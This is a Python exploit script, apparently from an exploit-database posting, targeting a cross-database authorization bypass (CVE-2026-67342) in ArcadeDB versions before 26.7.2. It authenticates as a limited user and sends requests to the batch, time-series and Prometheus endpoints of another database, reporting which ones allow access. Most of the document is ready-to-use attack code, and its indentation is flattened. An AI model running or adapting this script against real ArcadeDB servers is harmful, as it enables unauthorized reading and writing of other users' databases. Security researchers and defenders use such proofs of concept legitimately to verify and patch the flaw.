#!/usr/bin/env python3
# Exploit Title: ArcadeDB < 26.7.2 Cross-Database Authorization Bypass (IDOR)
# CVE: CVE-2026-67342
# Date: 2026-08-02
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://arcadedb.com
# Software Link: https://github.com/ArcadeData/arcadedb
# Affected: ArcadeDB < 26.7.2
# Tested on: ArcadeDB 26.7.1
# Category: Remote
# Platform: Multi
# Exploit Type: Authorization Bypass / IDOR
# CVSS: 9.3
# CWE : CWE-639
# Description: HTTP handlers for time series, batch, Prometheus and Grafana endpoints fail to validate database access permissions allowing cross-database read/write.
# Fixed in: 26.7.2
# Usage: python3 exploit.py <url> <user> <pass> <allowed_db> <target_db>
#
# Examples:
# python3 exploit.py http://127.0.0.1:2480 alice secret db_a db_b
#
# Options:
#
# Notes:
# Requires valid credentials for any database. Vulnerable endpoints return 200 while protected endpoints correctly return 403.
#
# How to Use
#
# Step 1: Provide target URL and credentials of a limited user
print(r"""
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗ ║
║ ██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██╗ ║
║ ██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝ ║
║ ██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║
║ ██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ║
║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ║
║ ║
║ [ b a n y a m e r _ s e c u r i t y ] ║
║ ║
║ ▸ Silent Hunter | Shadow Presence | Digital Intel ◂ ║
║ ║
║ Operator : Mohammed Idrees Banyamer • Jordan 🇯🇴 ║
║ Handle : @banyamer_security ║
║ ║
║ Exploit : CVE-2026-67342 ║
║ Target : ArcadeDB < 26.7.2 ║
║ ║
║ Status : ACTIVE ║
║ ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
""")
import requests
import sys
from requests.auth import HTTPBasicAuth
def exploit(target, username, password, allowed_db, target_db):
base = target.rstrip("/")
auth = HTTPBasicAuth(username, password)
print(f"[*] Target : {base}")
print(f"[*] Authenticated as: {username}")
print(f"[*] Allowed DB : {allowed_db}")
print(f"[*] Target DB : {target_db}")
print("-" * 60)
print("[*] Testing protected endpoint (should be 403)...")
r = requests.post(
f"{base}/api/v1/command/{target_db}",
json={"language": "sql", "command": "SELECT FROM V LIMIT 1"},
auth=auth,
timeout=10
)
print(f" /api/v1/command/{target_db} → {r.status_code}")
endpoints = [
("POST", f"/api/v1/batch/{target_db}", {"operations": []}),
("POST", f"/api/v1/ts/{target_db}/write", {"metrics": []}),
("POST", f"/api/v1/ts/{target_db}/query", {"query": "SELECT 1"}),
("GET", f"/api/v1/ts/{target_db}/prom/api/v1/query", None),
]
print("\n[*] Testing vulnerable handlers...")
for method, path, body in endpoints:
url = base + path
try:
if method == "POST":
r = requests.post(url, json=body, auth=auth, timeout=10)
else:
r = requests.get(url, auth=auth, timeout=10)
status = r.status_code
if status == 200:
print(f" [+] {method} {path} → {status} (BYPASS SUCCESS)")
else:
print(f" [-] {method} {path} → {status}")
except Exception as e:
print(f" [!] {method} {path} → Error: {e}")
print("\n[*] Done.")
if __name__ == "__main__":
if len(sys.argv) != 6:
print("Usage: python3 exploit.py <url> <user> <pass> <allowed_db> <target_db>")
print("Example: python3 exploit.py http://127.0.0.1:2480 alice secret db_a db_b")
sys.exit(1)
exploit(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4], sys.argv[5])
